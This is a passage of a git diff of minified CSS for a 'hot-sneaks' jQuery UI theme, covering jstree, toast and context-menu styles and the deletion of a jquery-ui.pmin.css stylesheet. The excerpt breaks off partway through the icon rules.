.jstree-clicked>.jstree-checkbox,.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-responsive .jstree-checked>.jstree-checkbox,.jstree-default-responsive .jstree-checked>.jstree-checkbox:hover{background-position:0 -80px}.jstree-default-responsive .jstree-anchor>.jstree-undetermined,.jstree-default-responsive .jstree-anchor>.jstree-undetermined:hover{background-position:0 -120px}.jstree-default-responsive .jstree-anchor{font-weight:700;font-size:1.1em;text-shadow:1px 1px #fff}.jstree-default-responsive>.jstree-striped{background:transparent}.jstree-default-responsive .jstree-wholerow{border-top:1px solid rgba(255,255,255,.7);border-bottom:1px solid rgba(64,64,64,.2);background:#ebebeb;height:40px}.jstree-default-responsive .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default-responsive .jstree-wholerow-clicked{background:#beebff}.jstree-default-responsive .jstree-children .jstree-last>.jstree-wholerow{box-shadow:inset 0 -6px 3px -5px #666}.jstree-default-responsive .jstree-children .jstree-open>.jstree-wholerow{box-shadow:inset 0 6px 3px -5px #666;border-top:0}.jstree-default-responsive .jstree-children .jstree-open + .jstree-open{box-shadow:none}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-node>.jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-image:url(assets/jqueryui/hot-sneaks/images/40px.png);background-size:120px 240px}.jstree-default-responsive .jstree-node{background-position:-80px 0;background-repeat:repeat-y}.jstree-default-responsive .jstree-last{background:transparent}.jstree-default-responsive .jstree-leaf>.jstree-ocl{background-position:-40px -120px}.jstree-default-responsive .jstree-last>.jstree-ocl{background-position:-40px -160px}.jstree-default-responsive .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-responsive .jstree-file{background:url(assets/jqueryui/hot-sneaks/images/40px.png) 0 -160px no-repeat;background-size:120px 240px}.jstree-default-responsive .jstree-folder{background:url(assets/jqueryui/hot-sneaks/images/40px.png) -40px -40px no-repeat;background-size:120px 240px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}}.toast-container{width:280px;z-index:9999}* html .toast-container{position:absolute}.toast-item{height:auto;background:#35414f url(assets/jqueryui/hot-sneaks/images/ui-bg_dots-small_35_35414f_2x2.png) 50% 50% repeat;opacity:1;-webkit-border-radius:10px;color:#e1e463;font-family:Gill Sans,Arial,sans-serif;font-size:14px;font-weight:700;border:2px solid #2c4359;display:block;position:relative;margin:0 0 12px;padding:20px 6px}.toast-item p{text-align:left;margin-left:50px}.toast-item-close{background:url(assets/jqueryui/hot-sneaks/images/close.gif);width:22px;height:22px;position:absolute;top:7px;right:7px}.toast-item-image{width:32px;height:32px;position:absolute;top:50%;margin-top:-16px;left:10px}.toast-item-image-notice{background:url(assets/jqueryui/hot-sneaks/images/notice.png)}.toast-item-image-success{background:url(assets/jqueryui/hot-sneaks/images/success.png)}.toast-item-image-warning{background:url(assets/jqueryui/hot-sneaks/images/warning.png)}.toast-item-image-error{background:url(assets/jqueryui/hot-sneaks/images/error.png)}.toast-type-notice{color:#e1e463}.toast-type-success{color:#e1e463}.toast-type-warning{color:#363636;background:#ffff38 url(assets/jqueryui/hot-sneaks/images/ui-bg_dots-medium_80_ffff38_4x4.png) 50% 50% repeat;border-color:#b4d100}.toast-type-error{color:#fff;background:#ff3853 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_50_ff3853_40x40.png) 50% 50% repeat;border-color:#ff6b7f}.toast-type-warning .toast-item-close{display:none}.toast-position-top-left{position:fixed;left:6%;top:15px}.toast-position-top-center{position:fixed;top:15px;left:50%;margin-left:-140px}.toast-position-top-right{position:fixed;top:15px;right:6%}.toast-position-middle-left{position:fixed;left:6%;top:50%;margin-top:-40px}.toast-position-middle-center{position:fixed;left:50%;margin-left:-140px;margin-top:-40px;top:50%}.toast-position-middle-right{position:fixed;right:6%;margin-left:-140px;margin-top:-40px;top:50%}.fa-inverse{color:#fff!important}.context-menu-list{background-color:#fff!important}.context-menu-item{background-color:#fff!important;color:#2C4359!important}.context-menu-icon::before{color:#AEB05D!important}.context-menu-icon.context-menu-hover:before{color:#fff!important}.context-menu-item.context-menu-hover{color:#fff!important;#padding:1px,1px,1px,1px!important;#border:1px solid #2980b9!important;background-color:#DB4865!important}.context-menu-icon.context-menu-disabled::before{color:#ced4da!important}.context-menu-icon.context-menu-icon--fa::before{color:#AEB05D!important}.context-menu-icon.context-menu-icon--fa.context-menu-hover:before{color:#fff!important}.context-menu-icon.context-menu-icon--fa.context-menu-disabled::before{color:#ced4da!important}.context-menu-icon.context-menu-icon--fa5 i,.context-menu-icon.context-menu-icon--fa5 svg{color:#AEB05D!important}.context-menu-icon.context-menu-icon--fa5.context-menu-hover > i,.context-menu-icon.context-menu-icon--fa5.context-menu-hover > svg{color:#fff!important}.context-menu-icon.context-menu-icon--fa5.context-menu-disabled i,.context-menu-icon.context-menu-icon--fa5.context-menu-disabled svg{color:#ced4da!important}.context-menu-item.context-menu-disabled{color:#ced4da!important}.cm{cursor:url(assets/jqueryui/hot-sneaks/images/cm.cur),context-menu!important}.main-tabs{border-color:#93c3cd #35414f #35414f!important}.main-title{#border-color:#93c3cd!important} \ No newline at end of file diff --git a/assets/jqueryui/hot-sneaks/jquery-ui.pmin.css b/assets/jqueryui/hot-sneaks/jquery-ui.pmin.css deleted file mode 100644 index 374e76e..0000000 --- a/assets/jqueryui/hot-sneaks/jquery-ui.pmin.css +++ /dev/null @@ -1 +0,0 @@ -.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url(assets/jqueryui/hot-sneaks/images/list-style.gif)}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup>.ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup>.ui-controlgroup-item:focus,.ui-controlgroup>.ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical>.ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc(100% - 2.4em)}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{-webkit-box-shadow:inset 1px 1px 1px #ccc;-webkit-border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;-webkit-border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden;border:1px solid #93c3cd;background:#94a5b8!important}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%;border:1px solid #93c3cd}.ui-progressbar .ui-progressbar-overlay{background:url(assets/jqueryui/hot-sneaks/images/pb.gif);height:100%;filter:alpha(opacity=25);opacity:.25;border:1px solid #93c3cd}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none;border:1px solid #93c3cd}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:700;line-height:1.5;padding:2px .4em;margin:.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:default}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Gill Sans,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Gill Sans,Arial,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #93c3cd}.ui-widget-content{border:1px solid #aaa;background:#fff;color:#2c4359}.ui-widget-content a{color:#2c4359}.ui-widget-header{border:1px solid #2c4359;background:#35414f url(assets/jqueryui/hot-sneaks/images/ui-bg_dots-small_35_35414f_2x2.png) 50% 50% repeat;color:#e1e463;font-weight:700}.ui-widget-header a{color:#e1e463}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #93c3cd;background:#93c3cd url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_50_93c3cd_40x40.png) 50% 50% repeat;font-weight:700;color:#333}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#333;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #999;background:#ccd232 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_75_ccd232_40x40.png) 50% 50% repeat;font-weight:700;color:#212121}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#212121;text-decoration:none}.ui-visual-focus{-webkit-box-shadow:0 0 3px 1px rgb(94,158,214)}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #ff6b7f;background:#db4865 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_40_db4865_40x40.png) 50% 50% repeat;font-weight:700;color:#fff}.ui-icon-background,.ui-state-active .ui-icon-background{border:#ff6b7f;background-color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #b4d100;background:#ffff38 url(assets/jqueryui/hot-sneaks/images/ui-bg_dots-medium_80_ffff38_4x4.png) 50% 50% repeat;color:#363636}.ui-state-checked{border:1px solid #b4d100;background:#ffff38}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#363636}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #ff6b7f;background:#ff3853 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_50_ff3853_40x40.png) 50% 50% repeat;color:#fff}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#fff}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#fff}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_c02669_256x240.png)}.ui-widget-header .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_e1e463_256x240.png)}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_c02669_256x240.png)}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_ffffff_256x240.png)}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_88a206_256x240.png)}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_ffeb33_256x240.png)}.ui-button .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_88a206_256x240.png)}.ui-icon-blank{background-position:16px 16px!important}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px 